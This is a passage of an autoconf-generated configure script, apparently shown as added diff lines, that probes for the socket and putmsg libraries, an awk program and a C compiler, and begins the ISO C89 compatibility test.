(eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_search_socket=$ac_res +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext + if test "${ac_cv_search_socket+set}" = set; then + break +fi +done +if test "${ac_cv_search_socket+set}" = set; then + : +else + ac_cv_search_socket=no +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_search_socket" >&5 +echo "${ECHO_T}$ac_cv_search_socket" >&6; } +ac_res=$ac_cv_search_socket +if test "$ac_res" != no; then + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +else + { echo "$as_me:$LINENO: checking for socket in -lsocket" >&5 +echo $ECHO_N "checking for socket in -lsocket... $ECHO_C" >&6; } +if test "${ac_cv_lib_socket_socket+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsocket -lnsl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char socket (); +int +main () +{ +return socket (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_socket_socket=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_socket_socket=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_socket_socket" >&5 +echo "${ECHO_T}$ac_cv_lib_socket_socket" >&6; } +if test $ac_cv_lib_socket_socket = yes; then + LIBS="-lsocket -lnsl $LIBS" +fi + +fi + + # DLPI needs putmsg under HPUX so test for -lstr while we're at it + { echo "$as_me:$LINENO: checking for library containing putmsg" >&5 +echo $ECHO_N "checking for library containing putmsg... $ECHO_C" >&6; } +if test "${ac_cv_search_putmsg+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_func_search_save_LIBS=$LIBS +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char putmsg (); +int +main () +{ +return putmsg (); + ; + return 0; +} +_ACEOF +for ac_lib in '' str; do + if test -z "$ac_lib"; then + ac_res="none required" + else + ac_res=-l$ac_lib + LIBS="-l$ac_lib $ac_func_search_save_LIBS" + fi + rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_search_putmsg=$ac_res +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext + if test "${ac_cv_search_putmsg+set}" = set; then + break +fi +done +if test "${ac_cv_search_putmsg+set}" = set; then + : +else + ac_cv_search_putmsg=no +fi +rm conftest.$ac_ext +LIBS=$ac_func_search_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_search_putmsg" >&5 +echo "${ECHO_T}$ac_cv_search_putmsg" >&6; } +ac_res=$ac_cv_search_putmsg +if test "$ac_res" != no; then + test "$ac_res" = "none required" || LIBS="$ac_res $LIBS" + +fi + + +U_LIBS="${LIBS}" + +for ac_prog in gawk mawk nawk awk +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_AWK+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$AWK"; then + ac_cv_prog_AWK="$AWK" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_AWK="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +AWK=$ac_cv_prog_AWK +if test -n "$AWK"; then + { echo "$as_me:$LINENO: result: $AWK" >&5 +echo "${ECHO_T}$AWK" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$AWK" && break +done + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + fi +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" + fi +fi +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl.exe + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl.exe +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$ac_ct_CC" && break +done + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +fi + +fi + + +test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&5 +echo "$as_me: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + +# Provide some information about the compiler. +echo "$as_me:$LINENO: checking for C compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (ac_try="$ac_compiler --version >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler --version >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -v >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -v >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -V >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -V >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +{ echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6; } +if test "${ac_cv_c_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_compiler_gnu=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6; } +GCC=`test $ac_compiler_gnu = yes && echo yes` +ac_test_CFLAGS=${CFLAGS+set} +ac_save_CFLAGS=$CFLAGS +{ echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 +echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6; } +if test "${ac_cv_prog_cc_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_save_c_werror_flag=$ac_c_werror_flag + ac_c_werror_flag=yes + ac_cv_prog_cc_g=no + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + CFLAGS="" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_c_werror_flag=$ac_save_c_werror_flag + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + ac_c_werror_flag=$ac_save_c_werror_flag +fi +{ echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_g" >&6; } +if test "$ac_test_CFLAGS" = set; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +{ echo "$as_me:$LINENO: checking for $CC option to accept ISO C89" >&5 +echo $ECHO_N "checking for $CC option to accept ISO C89... $ECHO_C" >&6; } +if test "${ac_cv_prog_cc_c89+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_prog_cc_c89=no +ac_save_CC=$CC +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include +#include +/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ +struct buf { int x; }; +FILE * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (p, i) + char **p; + int i; +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not '\xHH' hex character constants. + These don't provoke an error unfortunately, instead are silently treated + as 'x'. The following induces an error, until -std is added to get + proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an + array size at least. It's necessary to write '\x00'==0 to get something + that's true only with -std. */ +int osf4_cc_array ['\x00' == 0 ? 1 : -1]; + +/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters + inside strings and character constants. */ +#define FOO(x) 'x' +int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, FILE *(*)(struct buf *, struct stat 